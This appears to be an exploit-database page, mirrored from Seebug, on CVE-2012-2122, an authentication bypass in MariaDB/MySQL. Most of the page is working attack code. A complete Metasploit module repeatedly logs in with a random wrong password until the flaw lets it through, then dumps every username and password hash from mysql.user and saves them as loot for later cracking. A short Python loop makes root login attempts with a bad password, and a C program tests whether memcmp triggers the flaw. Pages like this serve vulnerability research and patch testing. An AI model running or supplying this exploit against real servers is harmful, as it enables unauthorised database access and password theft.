Lucene search
K

MariaDB/MySQL 概率性任意密码(身份认证)登录漏洞(CVE-2012-2122)

🗓️ 11 Jun 2012 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 69 Views

MySQL CVE-2012-2122 Authentication Bypass Password Dum

Related
Code

                                                ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::MYSQL
include Msf::Auxiliary::Report

include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'MYSQL CVE-2012-2122 Authentication Bypass Password Dump',
'Version' => '$Revision$',
'Description' => %Q{
This module exploits a password bypass vulnerability in MySQL in order
to extract the usernames and encrypted password hashes from a MySQL server.
These hashes ares stored as loot for later cracking.
},
'Authors' => [
'TheLightCosine <thelightcosine[at]metasploit.com>', # Original hashdump module
'jcran' # Authentication bypass bruteforce implementation
],
'References' => [
['CVE', '2012-2122']
],
'DisclosureDate' => 'Jun 09 2012',
'License' => MSF_LICENSE
)

deregister_options('PASSWORD')
end


def run_host(ip)

# Keep track of results (successful connections)
results = []

# Username and password placeholders
username = datastore['USERNAME']
password = Rex::Text.rand_text_alpha(rand(8)+1)

# Do an initial check to see if we can log into the server at all
begin
socket = connect(false)
x = ::RbMysql.connect({
:host => rhost,
:port => rport,
:user => username,
:password => password,
:read_timeout => 300,
:write_timeout => 300,
:socket => socket
})
x.connect
results << x

print_good "#{rhost}:#{rport} The server accepted our first login as #{username} with a bad password"

rescue RbMysql::HostNotPrivileged
print_error "#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)"
return
rescue RbMysql::AccessDeniedError
print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error "#{rhost}:#{rport} Error: #{e}"
return
end

# Short circuit if we already won
if results.length > 0
@mysql_handle = results.first
return dump_hashes
end


#
# Threaded login checker
#
max_threads = 16
cur_threads = []

# Try up to 1000 times just to be sure
queue = [*(1 .. 1000)]

while(queue.length > 0)
while(cur_threads.length < max_threads)

# We can stop if we get a valid login
break if results.length > 0

# keep track of how many attempts we've made
item = queue.shift

# We can stop if we reach 1000 tries
break if not item


# Status indicator
print_status "#{rhost}:#{rport} Authentication bypass is #{item/10}% complete" if (item % 100) == 0

t = Thread.new(item) do |count|
begin
# Create our socket and make the connection
s = connect(false)
x = ::RbMysql.connect({
:host => rhost,
:port => rport,
:user => username,
:password => password,
:read_timeout => 300,
:write_timeout => 300,
:socket => s,
:db => nil
})
print_status "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts"
results << x
rescue RbMysql::AccessDeniedError
rescue Exception => e
print_status "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
end
end

cur_threads << t

end

# We can stop if we get a valid login
break if results.length > 0

# Add to a list of dead threads if we're finished
cur_threads.each_index do |ti|
t = cur_threads[ti]
if not t.alive?
cur_threads[ti] = nil
end
end

# Remove any dead threads from the set
cur_threads.delete(nil)

::IO.select(nil, nil, nil, 0.25)
end

# Clean up any remaining threads
cur_threads.each {|x| x.kill }


if results.length > 0
print_good("#{rhost}:#{rport} Successful exploited the authentication bypass flaw, dumping hashes...")
@mysql_handle = results.first
return dump_hashes
end

print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
end

def dump_hashes

# Grabs the username and password hashes and stores them as loot
res = mysql_query("SELECT user,password from mysql.user")
if res.nil?
print_error("#{rhost}:#{rport} There was an error reading the MySQL User Table")
return

end

# Create a table to store data
tbl = Rex::Ui::Text::Table.new(
'Header' => 'MysQL Server Hashes',
'Indent' => 1,
'Columns' => ['Username', 'Hash']
)

if res.size > 0
res.each do |row|
next unless (row[0].to_s + row[1].to_s).length > 0
tbl << [row[0], row[1]]
print_good("#{rhost}:#{rport} Saving HashString as Loot: #{row[0]}:#{row[1]}")
end
end

this_service = nil
if framework.db and framework.db.active
this_service = report_service(
:host => rhost,
:port => rport,
:name => 'mysql',
:proto => 'tcp'
)
end

report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty?

end

# Stores the Hash Table as Loot for Later Cracking
def report_hashes(hash_loot,service)
filename= "#{rhost}-#{rport}_mysqlhashes.txt"
path = store_loot("mysql.hashes", "text/plain", rhost, hash_loot, filename, "MySQL Hashes", service)
print_status("#{rhost}:#{rport} Hash Table has been saved: #{path}")

end

end


########################################################################################
测试方法,2

#!/usr/bin/python
import subprocess

while 1:
        subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()


########################################################################################
测试方法,3

#include <stdio.h>
#include <stdlib.h>

int main(void) {
        int one, two, ret;
        time_t start = time(0);
        time_t now;

        srand(getpid()*start);
        while (1) {
                one = rand();
                two = rand();
                ret = memcmp(&one, &two, sizeof(int));
                if (ret < -128 || ret > 127)
                        break;
                time(&now);
                if (now - start > 10) {
                        printf("Not triggered in 10 seconds, *probably* not vulnerable..\n");
                        return 1;
                }
        }
        printf("Vulnerable! memcmp returned: %d\n", ret);
        return 0;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Jun 2012 00:00Current
6Medium risk
Vulners AI Score6
EPSS0.96188
69